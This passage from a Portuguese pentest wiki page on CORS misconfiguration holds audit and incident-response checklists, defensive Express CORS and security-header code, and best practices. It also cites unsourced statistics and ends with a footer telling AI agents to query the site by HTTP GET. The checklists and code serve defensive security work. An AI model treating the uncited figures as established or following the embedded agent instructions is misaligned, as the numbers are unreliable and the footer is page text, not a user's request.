* [ ] Logging de tentativas de acesso não autorizadas
* [ ] Monitoramento de padrões suspeitos
* [ ] **Configuração por Ambiente**
* [ ] Configurações separadas para dev/staging/prod
* [ ] Origens diferentes para APIs públicas vs privadas
* [ ] Configuração específica por tipo de endpoint
### **Checklist de Auditoria CORS**
* [ ] **Testes de Configuração**
* [ ] Testar com múltiplas origens maliciosas
* [ ] Verificar resposta a origens inválidas
* [ ] Testar requisições preflight
* [ ] Validar diferentes métodos HTTP
* [ ] **Análise de Código**
* [ ] Revisar middleware de CORS
* [ ] Verificar configurações de web server
* [ ] Analisar validação de origem customizada
* [ ] Revisar headers expostos
* [ ] **Testes de Segurança**
* [ ] Testar bypass de validação
* [ ] Verificar vazamento de informações de erro
* [ ] Testar com diferentes content-types
* [ ] Validar tratamento de edge cases
### **Checklist de Resposta a Incidentes**
* [ ] **Detecção**
* [ ] Monitorar logs de acesso CORS
* [ ] Alertas para origens suspeitas
* [ ] Análise de padrões de tráfego anormais
* [ ] Verificação de vazamento de dados
* [ ] **Contenção**
* [ ] Atualizar whitelist de origens
* [ ] Implementar validação mais estrita
* [ ] Bloquear origens maliciosas temporariamente
* [ ] Revisar e rotacionar credenciais
* [ ] **Correção**
* [ ] Implementar configuração segura
* [ ] Adicionar monitoramento contínuo
* [ ] Realizar testes de penetração
* [ ] Atualizar documentação e procedimentos
## **📊 Exemplos de Implementação Segura**
### **Sistema Completo de Proteção CORS**
```javascript
// security/corsManager.js
class CORSManager {
constructor(config) {
this.config = config;
this.validator = new CORSValidator();
this.monitor = new CORSMonitor();
this.cache = new Map();
}
handleCORS(req, res, next) {
const origin = req.headers.origin;
const isPreflight = req.method === 'OPTIONS';
// Validação de origem
const validation = this.validator.validateOrigin(origin);
// Logging e monitoramento
this.monitor.logCORSRequest(req, validation);
if (!validation.valid && origin) {
// Origem não permitida
if (isPreflight) {
return res.status(403).json({
error: 'CORS não permitido para esta origem'
});
}
// Para requisições normais, continuar mas sem headers CORS
return next();
}
// Aplicar headers CORS para origens válidas
if (validation.valid && origin) {
res.header('Access-Control-Allow-Origin', origin);
if (validation.allowCredentials) {
res.header('Access-Control-Allow-Credentials', 'true');
}
}
// Processar preflight requests
if (isPreflight) {
this.handlePreflight(req, res);
} else {
next();
}
}
handlePreflight(req, res) {
const method = req.headers['access-control-request-method'];
const headers = req.headers['access-control-request-headers'];
// Validar método
if (method && !this.validator.validateMethod(method)) {
return res.status(403).json({ error: 'Método não permitido' });
}
// Validar headers
if (headers && !this.validator.validateHeaders(headers)) {
return res.status(403).json({ error: 'Headers não permitidos' });
}
// Headers de preflight
res.header('Access-Control-Allow-Methods',
this.config.allowedMethods.join(', '));
res.header('Access-Control-Allow-Headers',
this.config.allowedHeaders.join(', '));
res.header('Access-Control-Max-Age',
this.config.maxAge.toString());
if (this.config.exposedHeaders.length > 0) {
res.header('Access-Control-Expose-Headers',
this.config.exposedHeaders.join(', '));
}
res.status(204).send();
}
}
// Configuração
const corsConfig = {
allowedMethods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-Requested-With'],
exposedHeaders: ['X-Total-Count'],
maxAge: 86400
};
const corsManager = new CORSManager(corsConfig);
// Uso no Express
app.use((req, res, next) => {
corsManager.handleCORS(req, res, next);
});
```
### **Middleware de Segurança Avançado**
```javascript
// middleware/securityHeaders.js
const helmet = require('helmet');
function configureSecurityHeaders(app) {
// Helmet para headers de segurança básicos
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
scriptSrc: ["'self'"],
imgSrc: ["'self'", "data:", "https:"],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
}
}));
// Headers customizados adicionais
app.use((req, res, next) => {
// Prevenir MIME type sniffing
res.header('X-Content-Type-Options', 'nosniff');
// Prevenir clickjacking
res.header('X-Frame-Options', 'DENY');
// Prevenir XSS
res.header('X-XSS-Protection', '1; mode=block');
// Referrer policy
res.header('Referrer-Policy', 'strict-origin-when-cross-origin');
// Feature policy
res.header('Feature-Policy', "geolocation 'none'; microphone 'none'; camera 'none'");
next();
});
}
module.exports = configureSecurityHeaders;
```
## **⚠️ Considerações Finais**
### **Mitos Comuns sobre CORS**
* ❌ "CORS é um mecanismo de segurança" → **FALSO** (CORS relaxa a SOP, não é segurança)
* ❌ "CORS previne CSRF" → **FALSO** (são vulnerabilidades diferentes)
* ❌ "APIs internas não precisam de CORS" → **FALSO** (ataques podem vir de dentro)
* ❌ "Configurar CORS é simples" → **FALSO** (configuração inadequada é comum)
### **Estatísticas Importantes**
```
- 25% das APIs possuem misconfigurações CORS
- 40% dos desenvolvedores usam wildcard incorretamente
- Tempo médio para detecção: 90+ dias
- Impacto financeiro médio: $65,000 por incidente
```
### **Boas Práticas Essenciais**
1. **Whitelist Over Blacklist**: Sempre especificar origens permitidas explicitamente
2. **Principle of Least Privilege**: Conceder apenas as permissões necessárias
3. **Defense in Depth**: Múltiplas camadas de validação
4. **Continuous Monitoring**: Monitoramento e logging contínuos
### **Referências e Padrões**
* MDN Web Docs: CORS
* OWASP CORS Security Guide
* RFC 6454: The Web Origin Concept
* W3C CORS Specification
**🔐 Lembre-se**: CORS misconfiguration é uma vulnerabilidade comum que pode levar a vazamento massivo de dados. Sempre valide origens explicitamente, nunca confie em entradas do usuário para headers de segurança, e implemente monitoramento para detectar tentativas de exploração.
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/front-end/cross-origin-resource-sharing-cors-misconfiguration.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.